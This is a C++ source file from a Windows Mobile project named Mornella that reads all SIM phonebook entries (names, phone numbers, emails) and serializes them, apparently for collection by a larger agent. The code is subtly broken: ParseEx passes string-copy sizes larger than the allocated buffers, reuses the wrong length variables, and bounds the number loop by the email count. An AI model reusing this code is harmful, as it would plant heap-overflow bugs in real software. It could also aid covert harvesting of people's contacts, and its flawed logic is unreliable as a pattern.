Mornella/Mornella_Mobile/PoomContactsSIMReader.cpp
#include <map>
#include "PoomContactsSIMReader.h"
#include "PoomContact.h"
CPoomContactsSIMReader::CPoomContactsSIMReader()
: IPoomFolderReader(NULL), m_hSim(NULL), m_dwTotal(0), m_dwUsed(0), m_bInit(FALSE), m_dwOSMinVersion(1)
{
ZeroMemory(&m_simCaps, sizeof(SIMCAPS));
OSVERSIONINFO VersionInfo;
ZeroMemory(&VersionInfo, sizeof(OSVERSIONINFO));
VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (TRUE == GetVersionEx(&VersionInfo))
m_dwOSMinVersion = VersionInfo.dwMinorVersion;
}
BOOL CPoomContactsSIMReader::InitializeSIM()
{
HRESULT hr = E_FAIL;
BOOL bRet = FALSE;
hr = SimInitialize(0, NULL, 0, &m_hSim);
if (hr != S_OK)
return bRet;
m_simCaps.cbSize = sizeof(SIMCAPS);
hr = SimGetDevCaps(m_hSim, SIM_CAPSTYPE_ALL, &m_simCaps);
if (hr != S_OK) {
SimDeinitialize(m_hSim);
m_hSim = NULL;
return bRet;
}
hr = SimGetPhonebookStatus(m_hSim, SIM_PBSTORAGE_SIM, &m_dwUsed, &m_dwTotal);
if (hr != S_OK || m_dwUsed == 0) {
SimDeinitialize(m_hSim);
m_hSim = NULL;
return bRet;
}
return (bRet = TRUE);
}
CPoomContactsSIMReader::~CPoomContactsSIMReader(void)
{
if (m_hSim != NULL) {
SimDeinitialize(m_hSim);
m_hSim = NULL;
}
}
INT CPoomContactsSIMReader::Count()
{
int uCount = 0;
uCount = m_simCaps.dwMaxPBIndex - m_simCaps.dwMinPBIndex;
return uCount;
}
HRESULT CPoomContactsSIMReader::Get(INT i, CPoomSerializer *pPoomSerializer, LPBYTE *pBuf, UINT *puBufLen)
{
HRESULT hr = E_FAIL;
if (pBuf == NULL || puBufLen == NULL)
return hr;
BOOL bGot = FALSE;
CPoomContact *contact = new CPoomContact();
if (contact == NULL)
return hr;
HeaderStruct *header = contact->Header();
if (m_dwOSMinVersion != 1) { // Se Win mobile e' diverso da 5.0 provo a prendere le info estese
SIMPHONEBOOKCAPS PBCaps;
ZeroMemory(&PBCaps, sizeof(SIMPHONEBOOKCAPS));
PBCaps.cbSize = sizeof(SIMPHONEBOOKCAPS);
PBCaps.dwParams = SIM_PARAM_PBCAPS_ALL;
PBCaps.dwStorages = SIM_PBSTORAGE_SIM;
hr = SimGetPhonebookCapabilities(m_hSim, &PBCaps);
if (hr == S_OK) {
DWORD dwBufferSize = (sizeof(SIMPHONEBOOKENTRYEX) + PBCaps.dwAdditionalNumberCount*sizeof(SIMPHONEBOOKADDITIONALNUMBER)+
PBCaps.dwEmailAddressCount*sizeof(SIMPHONEBOOKEMAILADDRESS));
DWORD dwCount = 1;
dwBufferSize = dwBufferSize * 1;
LPSIMPHONEBOOKENTRYEX lpSimPBEx = (LPSIMPHONEBOOKENTRYEX)LocalAlloc(LPTR, dwBufferSize);
hr = SimReadPhonebookEntries(m_hSim, SIM_PBSTORAGE_SIM, i, &dwCount, lpSimPBEx, &dwBufferSize);
if (hr != S_OK) {
hr = SimReadPhonebookEntries(m_hSim, SIM_PBSTORAGE_SIM, i, &dwCount, lpSimPBEx, &dwBufferSize);
}
header->lOid = lpSimPBEx->dwIndex;
hr = ParseEx(lpSimPBEx, contact);
LocalFree(lpSimPBEx);
if (hr == S_OK)
bGot = TRUE;
}
}
if (bGot == FALSE) {
SIMPHONEBOOKENTRY simEntry;
ZeroMemory(&simEntry, sizeof(SIMPHONEBOOKENTRY));
simEntry.cbSize = sizeof( SIMPHONEBOOKENTRY );
hr = SimReadPhonebookEntry(m_hSim,
SIM_PBSTORAGE_SIM,
i,
&simEntry );
if (hr != S_OK ) {
if (contact)
delete contact;
return hr;
}
if (hr == S_OK) {
header->lOid = i;
hr = Parse(&simEntry, contact);
if (hr != S_OK) {
if (contact)
delete contact;
return hr;
}
}
}
*pBuf = pPoomSerializer->Serialize(contact, (LPDWORD) puBufLen);
if(contact)
delete contact;
return hr;
}
HRESULT CPoomContactsSIMReader::Parse(SIMPHONEBOOKENTRY* lpsimEntry, CPoomContact *contact)
{
UINT uAddressLen = 0, uTextLen = 0;
StringCchLengthW(lpsimEntry->lpszAddress, MAX_LENGTH_ADDRESS, &uAddressLen);
StringCchLengthW(lpsimEntry->lpszText, MAX_LENGTH_PHONEBOOKENTRYTEXT, &uTextLen);
if (uAddressLen == 0 && uTextLen == 0)
return S_FALSE;
ContactMapType* contactMap = contact->Map();
if (uAddressLen > 0) {
LPWSTR lpwAddress = new(nothrow) WCHAR[uAddressLen + 1];
if (lpwAddress != NULL) {
StringCchCopyW(lpwAddress, uAddressLen+1, lpsimEntry->lpszAddress);
(*contactMap)[MobileTelephoneNumber] = lpwAddress;
}
}
if (uTextLen > 0) {
LPWSTR lpwText = new(nothrow) WCHAR[uTextLen + 1];
if (lpwText != NULL) {
StringCchCopyW(lpwText, uTextLen+1, lpsimEntry->lpszText);
(*contactMap)[FirstName] = lpwText;
}
}
return S_OK;
}
HRESULT CPoomContactsSIMReader::ParseEx(SIMPHONEBOOKENTRYEX* lpSimPBEx, CPoomContact *contact)
{
UINT uAddressLen = 0, uTextLen = 0, uTmpLen = 0;;
StringCchLengthW(lpSimPBEx->lpszAddress, MAX_LENGTH_ADDRESS, &uAddressLen);
StringCchLengthW(lpSimPBEx->lpszText, MAX_LENGTH_PHONEBOOKENTRYTEXT, &uTextLen);
if (uAddressLen == 0 && uTextLen == 0) {
return S_FALSE;
}
ContactMapType* contactMap = contact->Map();
if (uAddressLen > 0) {
LPWSTR lpwAddress = new(nothrow) WCHAR[uAddressLen + 1];
if (lpwAddress != NULL) {
StringCchCopyW(lpwAddress, MAX_LENGTH_ADDRESS+1, lpSimPBEx->lpszAddress);
(*contactMap)[MobileTelephoneNumber] = lpwAddress;
}
}
if (uTextLen > 0) {
LPWSTR lpwText = new(nothrow) WCHAR[uTextLen + 1];
if (lpwText != NULL) {
StringCchCopyW(lpwText, MAX_LENGTH_PHONEBOOKENTRYTEXT+1, lpSimPBEx->lpszText);
(*contactMap)[FirstName] = lpwText;
}
}
if(SUCCEEDED(StringCchLengthW(lpSimPBEx->lpszSecondName, MAX_LENGTH_PHONEBOOKENTRYTEXT, &uTmpLen))) {
if (uTmpLen > 0) {
LPWSTR lpwTemp = new(nothrow) WCHAR[uTmpLen + 1];
if (lpwTemp != NULL) {
StringCchCopyW(lpwTemp, uTextLen+1, lpSimPBEx->lpszSecondName);
(*contactMap)[LastName] = lpwTemp;
}
}
}
// Emails
UINT uMaxNum = 0;
INT iEmailArray[3] = {Email1Address, Email2Address, Email3Address};
lpSimPBEx->dwEmailCount < 3? uMaxNum = lpSimPBEx->dwEmailCount: uMaxNum = 3;
for(UINT i = 0; i < uMaxNum; i++) {
if (lpSimPBEx->lpEmailAddresses[i].lpszAddress == NULL)
continue;
if(SUCCEEDED(StringCchLengthW(lpSimPBEx->lpEmailAddresses[i].lpszAddress, MAX_LENGTH_PHONEBOOKENTRYTEXT, &uTmpLen))) {
if (uTmpLen > 0) {
LPWSTR lpwTemp = new(nothrow) WCHAR[uTmpLen + 1];
if (lpwTemp != NULL) {
StringCchCopyW(lpwTemp, uTmpLen+1, lpSimPBEx->lpEmailAddresses[i].lpszAddress);
(*contactMap)[(e_contactEntry)iEmailArray[i]] = lpwTemp;
}
}
}
}
// numbers
uMaxNum = 0;
INT iNumArray[5] = {BusinessTelephoneNumber, HomeTelephoneNumber, HomeFaxNumber, CarTelephoneNumber, RadioTelephoneNumber};
lpSimPBEx->dwAdditionalNumberCount < 5? uMaxNum = lpSimPBEx->dwEmailCount: uMaxNum = 5;
for(UINT i = 0; i < uMaxNum; i++) {
if (lpSimPBEx->lpAdditionalNumbers[i].lpszAddress == NULL)
continue;
if(SUCCEEDED(StringCchLengthW(lpSimPBEx->lpAdditionalNumbers[i].lpszAddress, MAX_LENGTH_ADDRESS, &uTmpLen))) {
if (uTmpLen > 0) {
LPWSTR lpwTemp = new(nothrow) WCHAR[uTmpLen + 1];
if (lpwTemp != NULL) {
StringCchCopyW(lpwTemp, uTextLen+1, lpSimPBEx->lpAdditionalNumbers[i].lpszAddress);
(*contactMap)[(e_contactEntry)iNumArray[i]] = lpwTemp;
}
}
}
}
return S_OK;
}